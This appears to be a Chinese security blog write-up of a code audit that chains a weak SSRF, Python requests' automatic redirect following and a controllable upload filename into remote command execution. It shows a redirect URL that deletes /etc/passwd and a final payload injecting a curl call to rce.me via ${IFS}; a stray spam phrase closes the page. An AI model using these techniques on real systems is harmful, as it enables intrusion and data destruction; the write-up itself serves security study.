<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】記一次從雞肋SSRF到RCE的代碼審計過程

    VSole2021-08-01 13:20:02

    Python標準庫中用來處理HTTP相關的模塊是urllib/urllib2,不過其中的API十分零碎,比如urllib庫有urlencode,但urllib2沒有,經常需要混在一起使用,換個運行環境可能又無法正常運行,除了urllib和urllib2之外,會經常看到的還有一個urllib3,該模塊是服務于升級的http 1.1標準,且擁有高效http連接池管理及http代理服務的功能庫,但其并非python內置,需要自行安裝,使用起來仍很復雜,比如urllib3對于POST和PUT請求(request),需要手動對傳入數據進行編碼,然后再加在URL之后,非常麻煩。

    requests是用基于urllib3封裝的,繼承了urllib2的所有特性,遵循Apache2 Licensed開源協議的HTTP庫,支持HTTP連接保持和連接池,支持使用cookie保持會話,支持文件上傳,支持自動響應內容的編碼,支持國際化的URL和POST數據自動編碼。如他的口號HTTP for Humans所說,這才是給人用的HTTP庫,實際使用過程中更方便,能夠大大的提高使用效率,縮短寫代碼的時間。

    實戰中遇到過這樣一個案例,一個輸入密碼正確后會302跳轉到后臺頁面的登錄口存在盲注,但登錄數據有加密,無法使用sqlmap完成自動注入的過程,于是想編寫python腳本自動化完成這個過程。requests是首選,實際編寫過程中會發現默認屬性下其無法獲取到30X狀態碼的詳情,分析其代碼后發現requests的所有請求方法(GET/POST/HEAD/PUT/DELETE)均會默認跟隨30X跳轉,繼承了urlib3默認跟隨30X跳轉的屬性,并將30X連續跳轉的次數上限從3次修改為30次,如果返回狀態碼是304/305/306/309會保持原來的請求方法,但不會跳轉,返回狀態碼是307/308會保持原請求方法,并且跳轉,其他30x狀態碼則會將請求方法轉化為GET。如需禁止跳轉需將allow_redirects屬性的值設置為False。

    下面將分享一個因為這個特性導致的從ssrf到rce的漏洞組合拳。

     

    某系統的升級功能可配置自定義的站點, 點擊升級按鈕后會觸發向特定路由發送文件, 也就是一個雞肋的POST類型的路由和參數均不可控的SSRF。

    如下圖,**_update是從用戶自定義的配置中取的, 與固定的route變量拼接后作為發送文件的url

    利用上文提到的requests默認跟隨狀態碼30X跳轉的特性, 可將這個雞肋的SSRF變成一個GET類型的路由和參數均可控的SSRF

    該軟件的分層大致如下圖, 鑒權在應用層, 涉及數據涉及敏感操作的均通過api調用另一個端口的上的服務, 該過程無鑒權。思路比較清晰, 可審計服務層的代碼漏洞結合已有的SSRF進一步擴大危害。

    受這個SSRF本身的限制, 尋找服務層漏洞時優先看請求方式為GET的路由, 篩選后找到一個符合條件的漏洞點如下圖所示, 傳入的doc_file_path參數可控, 如果文件名中能帶入自己的惡意Payload且文件能夠存在的情況下, 拼接到cmd變量中后有機會RCE。

    走到命令拼接的前置條件是文件存在, 故先查看上傳部分代碼, 如下圖所示, mkstemp方法的作用是以最安全的方式創建一個臨時文件, 該文件的文件名隨機, 創建后不會自動刪除, 需用戶自行將其刪除, suffixs是指定的后綴, 也就是說文件雖然可以落地, 但文件名不可控, 無法拼接自己的Payload。

    此時只能作為一個任意文件刪除的漏洞來使用, 配置升級鏈接301跳轉到http://127.0.0.1:8848/api/doc?doc_file_path=/etc/passwd, 其中doc_file_path參數為已知的存在的文件, 點擊系統升級按鈕即可觸發刪除操作。

     

    繼續分析代碼,閱讀大量代碼后找到一處上傳文件的功能點如下圖所示, 其中file_pre為源文件名, 拼接下劃線,時間戳以及.txt后保存并返回了完整的文件路徑,正好符合上面的要求。

    源文件名可控, 路徑已知,SSRF升級RCE變得索然無味, 使用分號切割命令語句,帶參數的命令可以使用${IFS}繞一下空格問題, 涉及到的${;均為unix系統文件名允許使用范圍的字符。

     

    參數及路由均不可控POST類型的SSRF -> requests 30X跳轉特性 -> 參數和路由均可控的GET類型SSRF -> 文件名部分可控的文件上傳 -> 多點結合攻擊本地服務

    最終Payload如下:

    http://127.0.0.1:8848/api/doc?doc_file_path=/opt/work/files/target_file/admin/;curl${IFS}rce.me;_1623123227304.txt
    

    配置完成手動點擊一下升級功能即可觸發命令執行。

    ssrfurllib2
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    實戰中遇到過這樣一個案例,一個輸入密碼正確后會302跳轉到后臺頁面的登錄口存在盲注,但登錄數據有加密,無法使用sqlmap完成自動注入的過程,于是想編寫python腳本自動化完成這個過程。
    漏洞描述 Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱組件。 CVE編號:CVE-2014-4210 影響范圍: ?Oracle WebLogic Server 10.3.6.0 ?Oracle WebLogic Server 10.0.2.0 環境搭建
    起源是在某個數據包里看到url=這個關鍵字,當時第一想到會不會有SSRF漏洞。
    Java和Python這兩種流行的編程語言包含類似的安全漏洞,可以利用這些漏洞發送未經授權的電子郵件并繞過任何防火墻防御。而且,由于這兩個缺陷仍未修補,黑客可以利用這一優勢設計針對關鍵網絡和基礎設施的潛在網絡攻擊行動。
    一個內網安全攻防的知識倉庫
    2020 Codegate Web題解
    2022-07-07 08:09:51
    Codegate 還是有很多國際強隊參加的,這里記錄 Codegate 的兩道 Web題。
    信息搜集:開源情報信息收集、創建企業密碼字典進入內網:基于企業弱賬號漏洞、基于系統漏洞進入、網站應用程序滲透隱匿攻擊:Command and Control、代理內網跨邊界應用:內網跨邊界轉發、內網跨邊界代理穿透、shell反彈等
    一般情況下,SSRF針對的都是一些外網無法訪問的內網,所以需要SSRF使目標后端去訪問內網,進而達到我們攻擊內網的目的。
    FTP(File Transfer Protocol,文件傳輸協議) 是 TCP/IP 協議組中的協議之一。FTP 協議包括兩個組成部分,其一為 FTP 服務器,其二為 FTP 客戶端。其中 FTP 服務器用來存儲文件,用戶可以使用 FTP 客戶端通過 FTP 協議訪問位于 FTP 服務器上的資源。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类